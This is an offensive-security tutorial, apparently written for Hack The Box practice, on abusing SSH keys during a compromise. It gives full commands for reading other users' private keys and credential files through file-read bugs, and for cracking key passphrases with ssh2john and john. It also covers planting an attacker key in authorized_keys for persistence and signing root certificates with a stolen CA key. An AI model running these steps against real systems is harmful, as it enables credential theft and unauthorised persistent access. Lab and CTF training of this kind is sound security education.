SSH keys in pentesting: steal id_rsa, crack it and drop your own

How to use SSH keys during a compromise: read an id_rsa through an LFI, crack its passphrase with ssh2john, write your key to authorized_keys and fix the usual errors.

· 5 min read

An SSH private key is a password that never expires and that nobody watches. On Hack The Box they come up in two ways: you steal a user's key (through an LFI, a backup or a repository) to log in as them, or you write your own into their authorized_keys to get a stable shell. Both take a couple of commands once you know where to look and what the errors mean.

The bare minimum

  • The private key (id_rsa, id_ed25519, id_ecdsa) is what grants access. It starts with -----BEGIN OPENSSH PRIVATE KEY----- or -----BEGIN RSA PRIVATE KEY-----.
  • The public key (.pub) goes in the user's ~/.ssh/authorized_keys on the server. Whoever holds the matching private key logs in without a password.
  • A private key can be encrypted with a passphrase. Then you have to crack it before you can use it.
  • SSH is very strict about permissions: if anyone can read your key file, it refuses to use it.

Requirements

  • openssh-client and john (with ssh2john, which ships with Kali's john package).
  • putty-tools if you run into a .ppk key: sudo apt install putty-tools.
  • To practise: OpenAdmin (encrypted key), LaCasaDePapel (key read through an LFI) and Postman (writing your key with Redis).

Case 1: reading another user's key

If you have a file read (LFI, XXE, an SSRF with file://), first pull the users from /etc/passwd and then try the usual paths:

/home/<user>/.ssh/id_rsa
/home/<user>/.ssh/id_ed25519
/home/<user>/.ssh/id_ecdsa
/root/.ssh/id_rsa

If you are already on the box, find them all:

find / -name "id_*" -o -name "authorized_keys*" -o -name "*.pem" -o -name "*.ppk" 2>/dev/null \
  | grep -v -E "^/(proc|usr/share|sys)"

Save the key on your box and use it:

chmod 600 id_rsa
ssh -i id_rsa [email protected]

Tip

If you do not know whose key it is, check the end of the .pub if you have it (it usually ends in user@host) or derive the public key from the private one with ssh-keygen -y -f id_rsa. The trailing comment gives you the name.

Case 2: the key has a passphrase

If SSH asks Enter passphrase for key 'id_rsa':, the key is encrypted. You can confirm it from the header (Proc-Type: 4,ENCRYPTED on old keys) or with:

ssh-keygen -y -f id_rsa

To crack it, convert it to John's format and give it a wordlist:

ssh2john id_rsa > id_rsa.hash
john --wordlist=/usr/share/wordlists/rockyou.txt id_rsa.hash
bloodninjas      (id_rsa)

That is the passphrase of joanna's key on OpenAdmin. With it, run ssh -i id_rsa [email protected] and type the passphrase when prompted. On Valentine the encrypted key sits on the website in hex (xxd -r -p turns it back into text) and the passphrase comes from the memory leaked by Heartbleed.

Note

Hashcat works too: ssh2john produces formats such as $sshng$0$... or $sshng$6$.... For the newer bcrypt-based keys ($sshng$2$ or $sshng$6$) John is more convenient, and they are slow to crack anyway: do not expect to get through all of rockyou.

Case 3: writing your own key

If you can write to a user's home (a shell as them, an arbitrary file write or a misconfigured service), drop your key and log in over SSH. It is more stable than any reverse shell.

On your box, generate a fresh pair with no passphrase:

ssh-keygen -t ed25519 -f ./pwn -N ''
cat pwn.pub
ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAI... kali@kali

On the target, as the user you are after:

mkdir -p ~/.ssh && chmod 700 ~/.ssh
echo 'ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAI... kali@kali' >> ~/.ssh/authorized_keys
chmod 600 ~/.ssh/authorized_keys

And from your box:

ssh -i pwn [email protected]

How you get to write the key changes from box to box:

  • Unauthenticated Redis running as a user with a home: Postman. You point Redis's working directory at ~/.ssh and save your key as authorized_keys.
  • A WebDAV PUT on a service running as root: Broker.
  • A webshell as the user who already has a .ssh: Traceback.
  • A sudo rule on a binary that writes files (such as iptables-save): Backfire.

Case 4: PuTTY keys

A .ppk key (PuTTY's format, common on Windows) has to be converted to OpenSSH:

puttygen key.ppk -O private-openssh -o id_rsa
chmod 600 id_rsa
ssh -i id_rsa [email protected]

That is what happens on Keeper: the KeePass database holds a PuTTY key for root.

Case 5: an SSH certificate authority

Some servers do not use authorized_keys but certificates signed by a CA (TrustedUserCAKeys in /etc/ssh/sshd_config). If you get the CA's private key, you sign your key for any user you like:

ssh-keygen -s ca_key -I pwn -n root -V +1h pwn.pub
ssh -i pwn [email protected]

-n root is the principal your certificate will carry. You can practise it on Principal.

Common mistakes

  • WARNING: UNPROTECTED PRIVATE KEY FILE! and bad permissions: you forgot chmod 600 id_rsa.
  • Load key "id_rsa": invalid format or error in libcrypto: the key was copied badly. The final newline is missing, it has Windows line endings (dos2unix id_rsa) or line breaks were lost when copying from the browser.
  • Permission denied (publickey) after writing your key: the server ignores authorized_keys if the home or ~/.ssh are writable by others (StrictModes). Run chmod 700 ~/.ssh and chmod go-w ~. Also check you are using the right user.
  • sign_and_send_pubkey: no mutual signature supported or no matching host key type found: the server is old and uses ssh-rsa with SHA-1, which your client disables. Add -o PubkeyAcceptedKeyTypes=+ssh-rsa -o HostKeyAlgorithms=+ssh-rsa.
  • ssh2john does not recognise the key: update John (old versions do not understand the OPENSSH PRIVATE KEY format) or call the script as python3 /usr/share/john/ssh2john.py.

What next

With a stable SSH session you can forward internal ports (ssh -L), as the port forwarding and pivoting guide explains. The SSH keys item is in the post-exploitation checklist, and if you find more passwords along the way, follow the finding passwords after the foothold method.

Practise it on real machines

Hack The Box machines where this technique is used. Each ▶ jumps to the minute of the IppSec video where it shows up.

SSH keys 33 machines

See all 33 machines →

Spotted a mistake or something missing? Tell us